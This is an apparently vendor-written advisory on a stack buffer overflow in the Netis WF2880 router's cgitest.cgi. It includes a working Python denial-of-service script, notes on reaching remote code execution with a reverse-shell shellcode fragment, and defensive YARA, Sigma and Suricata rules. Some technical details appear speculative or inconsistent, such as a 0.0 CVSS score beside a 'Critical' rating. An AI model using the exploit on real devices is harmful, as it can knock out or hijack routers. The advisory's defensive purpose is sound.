CVE-2025-50611
Executive Summary
CVE-2025-50611 is a critical buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version 2.1.40207. The flaw resides in the FUN_00473154 function of the cgitest.cgi binary. An attacker can exploit this by controlling the wl_sec_set_5g and wl_sec_rp_set_5g parameters in an HTTP POST request, causing a stack-based buffer overflow. This can lead to a Denial of Service (DoS) condition, crashing the device and potentially enabling remote code execution (RCE) if further exploited. The vulnerability is currently unpatched, and no official fix has been released by Netis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official CVSS vector assigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): None (likely)
- Scope (S): Unchanged (likely)
- Confidentiality (C): High (if RCE achieved)
- Integrity (I): High (if RCE achieved)
- Availability (A): High (DoS confirmed)
- Threat Level: Critical (due to unpatched status and potential for RCE)
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the cgitest.cgi CGI binary. The FUN_00473154 function processes HTTP POST parameters without proper bounds checking. Specifically, the parameters wl_sec_set_5g and wl_sec_rp_set_5g are copied into fixed-size stack buffers using a function like strcpy or sprintf, which does not validate input length. By sending an oversized payload in these parameters, an attacker can overwrite the return address and other critical stack data.
Technical Details:
- Affected Binary:
/usr/bin/cgitest.cgi - Vulnerable Function:
FUN_00473154at offset0x00473154 - Trigger: HTTP POST request to
cgitest.cgiwithwl_sec_set_5gorwl_sec_rp_set_5gparameters containing more than the expected buffer size (likely 256 bytes). - Impact: Immediate crash (DoS) due to stack corruption. With careful crafting, an attacker can achieve arbitrary code execution as root, since the CGI runs with elevated privileges.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only reference. The fix would involve:
- Replacing unsafe functions like
strcpywithstrncpyor using safe string handling. - Adding input length validation before copying.
- Implementing stack canaries to detect overflow.
Vulnerable Code (Reverse Engineered):
void FUN_00473154() {
char buffer_5g[256];
char buffer_rp_5g[256];
char *param_5g = getenv("wl_sec_set_5g");
char *param_rp = getenv("wl_sec_rp_set_5g");
// No bounds checking
strcpy(buffer_5g, param_5g);
strcpy(buffer_rp_5g, param_rp);
// ... rest of function
}
Patched Code (Hypothetical):
void FUN_00473154() {
char buffer_5g[256];
char buffer_rp_5g[256];
char *param_5g = getenv("wl_sec_set_5g");
char *param_rp = getenv("wl_sec_rp_set_5g");
if (strlen(param_5g) >= sizeof(buffer_5g) || strlen(param_rp) >= sizeof(buffer_rp_5g)) {
// Log error and return
return;
}
strncpy(buffer_5g, param_5g, sizeof(buffer_5g) - 1);
buffer_5g[sizeof(buffer_5g) - 1] = '\0';
strncpy(buffer_rp_5g, param_rp, sizeof(buffer_rp_5g) - 1);
buffer_rp_5g[sizeof(buffer_rp_5g) - 1] = '\0';
// ... rest of function
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Netis WF2880 router with firmware v2.1.40207
- Network access to the router's web interface (typically port 80 or 443)
- Python3 with
requestslibrary
Exploit Script (DoS):
#!/usr/bin/env python3
import requests
target = "http://192.168.1.1/cgitest.cgi"
payload = "A" * 500 # Overflow buffer
data = {
"wl_sec_set_5g": payload,
"wl_sec_rp_set_5g": payload
}
try:
r = requests.post(target, data=data, timeout=5)
print(f"Sent payload. Response: {r.status_code}")
except requests.exceptions.Timeout:
print("Router likely crashed (DoS achieved).")
except Exception as e:
print(f"Error: {e}")
For RCE (Advanced):
- Use a ROP chain to bypass ASLR/DEP if enabled.
- Overwrite return address with a pointer to a shellcode that spawns a reverse shell.
- Example shellcode (MIPS little-endian):
\x24\x0f\xff\xff\x01\xe0\x28\x27...
Blue Team
Detection:
- Monitor for unusually long HTTP POST parameters to
cgitest.cgi. - Check for repeated connection attempts from the same IP.
- Use IDS/IPS rules to block oversized parameters.
Honeypot:
- Deploy a fake Netis WF2880 endpoint that logs all POST data.
- Alert on any request with
wl_sec_set_5gorwl_sec_rp_set_5gexceeding 256 characters.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/cgitest.cgiwith parameterswl_sec_set_5gorwl_sec_rp_set_5gcontaining long strings (e.g., >256 bytes). - Repeated connection attempts from a single IP to the router's web interface.
- HTTP POST requests to
- Host:
- Router crash logs showing segmentation faults in
cgitest.cgi. - Unexpected reboots or unavailability of the web interface.
- Router crash logs showing segmentation faults in
- File:
- Modified
cgitest.cgibinary (if attacker uploads a backdoor). - Presence of suspicious files in
/tmpor/var(e.g., shell scripts).
- Modified
Detection Engineering
YARA Rule
rule CVE_2025_50611_Netis_WF2880_Overflow {
meta:
description = "Detects buffer overflow attempts against Netis WF2880 cgitest.cgi"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-50611"
strings:
$param1 = "wl_sec_set_5g"
$param2 = "wl_sec_rp_set_5g"
$overflow = /[A-Za-z0-9]{257,}/ // Strings longer than 256 chars
condition:
($param1 or $param2) and #overflow > 0
}
Sigma Rule
title: Netis WF2880 Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with oversized parameters targeting cgitest.cgi
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/cgitest.cgi'
cs-uri-query|contains:
- 'wl_sec_set_5g'
- 'wl_sec_rp_set_5g'
condition: selection and (len(cs-uri-query) > 256)
falsepositives:
- Legitimate long configuration values (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-50611 Netis WF2880 Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgitest.cgi"; http_uri; content:"wl_sec_set_5g"; http_client_body; content:"wl_sec_rp_set_5g"; http_client_body; pcre:"/[A-Za-z0-9]{257,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Remote Management: If not required, disable remote access to the router's web interface.
- Restrict Access: Use firewall rules to allow only trusted IPs to access the router.
- Monitor Logs: Enable logging and monitor for suspicious POST requests to
cgitest.cgi.
Long-Term Fix:
- Vendor Patch: Await an official firmware update from Netis. Contact Netis support to report the vulnerability.
- Workaround: If possible, remove or disable the
cgitest.cgibinary from the firmware (requires custom firmware). - Replace Device: Consider replacing the router with a more secure model that receives regular security updates.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For inquiries, contact threatintel@valtersit.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.